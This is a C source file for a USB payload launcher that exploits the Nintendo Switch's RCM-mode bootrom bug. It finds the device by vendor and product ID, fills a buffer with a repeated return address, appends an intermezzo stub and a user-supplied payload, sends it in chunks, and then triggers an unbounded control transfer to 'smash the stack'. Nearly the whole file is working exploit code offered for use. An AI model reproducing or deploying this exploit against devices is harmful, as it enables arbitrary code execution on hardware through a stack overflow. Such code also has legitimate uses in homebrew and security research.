#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>

#include "usb.h"

/* Nintendo Switch RCM Mode VID/PID */
#define APX_VID 0x0955
#define APX_PID 0x7321

#define TIMEOUT 1000 // milliseconds

#define MAX_LENGTH 0x30298 // length of the exploit packet
#define RCM_PAYLOAD_ADDR 0x40010000
#define INTERMEZZO_LOCATION 0x4001F000
#define PAYLOAD_LOAD_BLOCK 0x40020000
#define SEND_CHUNK_SIZE 0x1000

static void print_hex(unsigned char *buf, int len)
{
	for (int i=0; i<len; i++)
		printf("%02x", buf[i]);
}

int main(int argc, char *argv[])
{
	int usb_fd;
	FILE *intermezzo_file;
	FILE *payload_file;
	unsigned char devid[16];
	char payload_buf[MAX_LENGTH]; // XXX: don't use more memory than we need, ~200k is a lot
	int payload_idx = 0;
	int payload_len;
	
	if (argc != 2) {
		printf("USAGE: %s payload.bin\n", argv[0]);
		return -1;
	}
	
	/* Get the device fd (device must be present) */
	usb_fd = get_device(APX_VID, APX_PID);
	if (usb_fd < 0) {
		perror("[-] Failed to open usb device");
		return -1;
	}
	
	/* Clain the USB interface */
	if(claim_interface(usb_fd, 0) < 0) {
		perror("[-] Failed to claim interface");
		close(usb_fd);
		return -1;
	}
	
	/* Read the device ID */
	if (ep_read(usb_fd, 1, devid, sizeof(devid), TIMEOUT) != sizeof(devid)) {
		perror("[-] Failed to read device ID");
		close(usb_fd);
		return -1;
	}
	
	printf("[*] device id: ");
	print_hex(devid, sizeof(devid));
	printf("\n");
	
	/* Begin payload construction */
	// TODO: construct the payload on-the-fly as it is sent, saving memory
	memset(payload_buf, 0, sizeof(payload_buf));
	
	*(uint32_t *)payload_buf = MAX_LENGTH;
	payload_idx	= 680; // skip over the header
	
	/* fill the stack with the intermezzo address */
	for (int i=RCM_PAYLOAD_ADDR; i<INTERMEZZO_LOCATION; i += 4, payload_idx += 4)
		*(uint32_t *)&payload_buf[payload_idx] = INTERMEZZO_LOCATION;
	
	/* load intermezzo.bin */
	if ((intermezzo_file = fopen(INTERMEZZO_PATH, "r")) == NULL) {
		perror("[-] Failed to open " INTERMEZZO_PATH);
		close(usb_fd);
		return -1;
	}
	
	int intermezzo_len = fread(&payload_buf[payload_idx], 1, MAX_LENGTH-payload_idx, intermezzo_file);
	fclose(intermezzo_file);
	printf("[*] Read %d bytes from "INTERMEZZO_PATH"\n", intermezzo_len);
	
	/* pad until payload */
	payload_idx += PAYLOAD_LOAD_BLOCK - INTERMEZZO_LOCATION;
	
	/* load the actual payload */
	if ((payload_file = fopen(argv[1], "r")) == NULL) {
		perror("[-] Failed to open payload file");
		close(usb_fd);
		return -1;
	}
	
	int file_len = fread(&payload_buf[payload_idx], 1, MAX_LENGTH-payload_idx, payload_file);
	payload_idx += file_len;
	fclose(payload_file);
	printf("[*] Read %d bytes from %s\n", file_len, argv[1]);
	if (payload_idx == MAX_LENGTH)
		printf("[*] Warning: payload may have been truncated. Continuing.");
	
	/* Send the payload */
	payload_len = payload_idx;
	int low_buffer = 1;
	for (payload_idx = 0; payload_idx < payload_len || low_buffer; payload_idx += SEND_CHUNK_SIZE, low_buffer ^= 1) {
		if (ep_write(usb_fd, 1, &payload_buf[payload_idx], SEND_CHUNK_SIZE, TIMEOUT) != SEND_CHUNK_SIZE) {
			perror("[-] Sending payload failed");
			close(usb_fd);
			return -1;
		}
	}	
	printf("[+] Sent 0x%x bytes\n", payload_idx);
	
	/* Smash the stack! */
	printf("[+] Smashed the stack: %d\n", ctrl_transfer_unbounded(usb_fd, 0x7000));
	
	close(usb_fd);
	return 0;
}
